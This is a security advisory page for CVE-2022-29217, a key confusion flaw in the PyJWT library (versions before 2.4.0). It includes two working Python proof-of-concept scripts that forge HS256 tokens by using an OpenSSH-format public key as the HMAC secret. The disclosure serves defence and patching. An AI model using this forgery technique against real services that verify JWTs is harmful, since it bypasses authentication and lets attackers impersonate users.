View all vulnerabilities

CVE-2022-29217

Key confusion through non-blocklisted public key formats

### Impact_What kind of vulnerability is it? Who is impacted?_Disclosed by Aapo Oksman (Senior Security Specialist, Nixu Corporation).> PyJWT supports multiple different JWT signing algorithms. With JWT, an > attacker submitting the JWT token can choose the used signing algorithm.>> The PyJWT library requires that the application chooses what algorithms > are supported. The application can specify > "jwt.algorithms.get_default_algorithms()" to get support for all > algorithms. They can also specify a single one of them (which is the > usual use case if calling jwt.decode directly. However, if calling > jwt.decode in a helper function, all algorithms might be enabled.)>> For example, if the user chooses "none" algorithm and the JWT checker > supports that, there will be no signature checking. This is a common > security issue with some JWT implementations.>> PyJWT combats this by requiring that the if the "none" algorithm is > used, the key has to be empty. As the key is given by the application > running the checker, attacker cannot force "none" cipher to be used.>> Similarly with HMAC (symmetric) algorithm, PyJWT checks that the key is > not a public key meant for asymmetric algorithm i.e. HMAC cannot be used > if the key begins with "ssh-rsa". If HMAC is used with a public key, the > attacker can just use the publicly known public key to sign the token > and the checker would use the same key to verify.>> From PyJWT 2.0.0 onwards, PyJWT supports ed25519 asymmetric algorithm. > With ed25519, PyJWT supports public keys that start with "ssh-", for > example "ssh-ed25519".```pythonimport jwtfrom cryptography.hazmat.primitives import serializationfrom cryptography.hazmat.primitives.asymmetric import ed25519# Generate ed25519 private keyprivate_key = ed25519.Ed25519PrivateKey.generate()# Get private key bytes as they would be stored in a filepriv_key_bytes = private_key.private_bytes(encoding=serialization.Encoding.PEM,format=serialization.PrivateFormat.PKCS8, encryption_algorithm=serialization.NoEncryption())# Get public key bytes as they would be stored in a filepub_key_bytes = private_key.public_key().public_bytes(encoding=serialization.Encoding.OpenSSH,format=serialization.PublicFormat.OpenSSH)# Making a good jwt token that should work by signing it with the private keyencoded_good = jwt.encode({"test": 1234}, priv_key_bytes, algorithm="EdDSA")# Using HMAC with the public key to trick the receiver to think that the public key is a HMAC secretencoded_bad = jwt.encode({"test": 1234}, pub_key_bytes, algorithm="HS256")# Both of the jwt tokens are validated as validdecoded_good = jwt.decode(encoded_good, pub_key_bytes, algorithms=jwt.algorithms.get_default_algorithms())decoded_bad = jwt.decode(encoded_bad, pub_key_bytes, algorithms=jwt.algorithms.get_default_algorithms())if decoded_good == decoded_bad: print("POC Successfull")# Of course the receiver should specify ed25519 algorithm to be used if they specify ed25519 public key. However, if other algorithms are used, the POC does not work# HMAC specifies illegal strings for the HMAC secret in jwt/algorithms.py## invalid_strings = [# b"-----BEGIN PUBLIC KEY-----",# b"-----BEGIN CERTIFICATE-----",# b"-----BEGIN RSA PUBLIC KEY-----",# b"ssh-rsa",# ]## However, OKPAlgorithm (ed25519) accepts the following in jwt/algorithms.py:## if "-----BEGIN PUBLIC" in str_key:# return load_pem_public_key(key)# if "-----BEGIN PRIVATE" in str_key:# return load_pem_private_key(key, password=None)# if str_key[0:4] == "ssh-":# return load_ssh_public_key(key)## These should most likely made to match each other to prevent this behavior``````pythonimport jwt#openssl ecparam -genkey -name prime256v1 -noout -out ec256-key-priv.pem#openssl ec -in ec256-key-priv.pem -pubout > ec256-key-pub.pem#ssh-keygen -y -f ec256-key-priv.pem > ec256-key-ssh.pubpriv_key_bytes = b"""-----BEGIN EC PRIVATE KEY-----MHcCAQEEIOWc7RbaNswMtNtc+n6WZDlUblMr2FBPo79fcGXsJlGQoAoGCCqGSM49AwEHoUQDQgAElcy2RSSSgn2RA/xCGko79N+7FwoLZr3Z0ij/ENjow2XpUDwwKEKkAk3TDXC9U8nipMlGcY7sDpXp2XyhHEM+Rw==-----END EC PRIVATE KEY-----"""pub_key_bytes = b"""-----BEGIN PUBLIC KEY-----MFkwEwYHKoZIzj0CAQYIKoZIzj0DAQcDQgAElcy2RSSSgn2RA/xCGko79N+7FwoLZr3Z0ij/ENjow2XpUDwwKEKkAk3TDXC9U8nipMlGcY7sDpXp2XyhHEM+Rw==-----END PUBLIC KEY-----"""ssh_key_bytes = b"""ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBJXMtkUkkoJ9kQP8QhpKO/TfuxcKC2a92dIo/xDY6MNl6VA8MChCpAJN0w1wvVPJ4qTJRnGO7A6V6dl8oRxDPkc="""# Making a good jwt token that should work by signing it with the private keyencoded_good = jwt.encode({"test": 1234}, priv_key_bytes, algorithm="ES256")# Using HMAC with the ssh public key to trick the receiver to think that the public key is a HMAC secretencoded_bad = jwt.encode({"test": 1234}, ssh_key_bytes, algorithm="HS256")# Both of the jwt tokens are validated as validdecoded_good = jwt.decode(encoded_good, ssh_key_bytes, algorithms=jwt.algorithms.get_default_algorithms())decoded_bad = jwt.decode(encoded_bad, ssh_key_bytes, algorithms=jwt.algorithms.get_default_algorithms())if decoded_good == decoded_bad: print("POC Successfull")else: print("POC Failed")```> The issue is not that big as > algorithms=jwt.algorithms.get_default_algorithms() has to be used. > However, with quick googling, this seems to be used in some cases at > least in some minor projects.### PatchesUsers should upgrade to v2.4.0.### WorkaroundsAlways be explicit with the algorithms that are accepted and expected when decoding.### References_Are there any links users can visit to find out more?_### For more informationIf you have any questions or comments about this advisory:* Open an issue in https://github.com/jpadilla/pyjwt* Email José Padilla: pyjwt at jpadilla dot com

Patch Available

Fix available through Seal Security. No upgrade required, protect your application instantly.

Fix without upgrading
Vulnerability Details
Score
7.4
Score Vector
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N
Affected Versions
pyjwt >= 1.5.0 < 2.4.0
Severity
High
Ecosystem
Python
Publish Date
May 24, 2022
Modified Date
October 15, 2024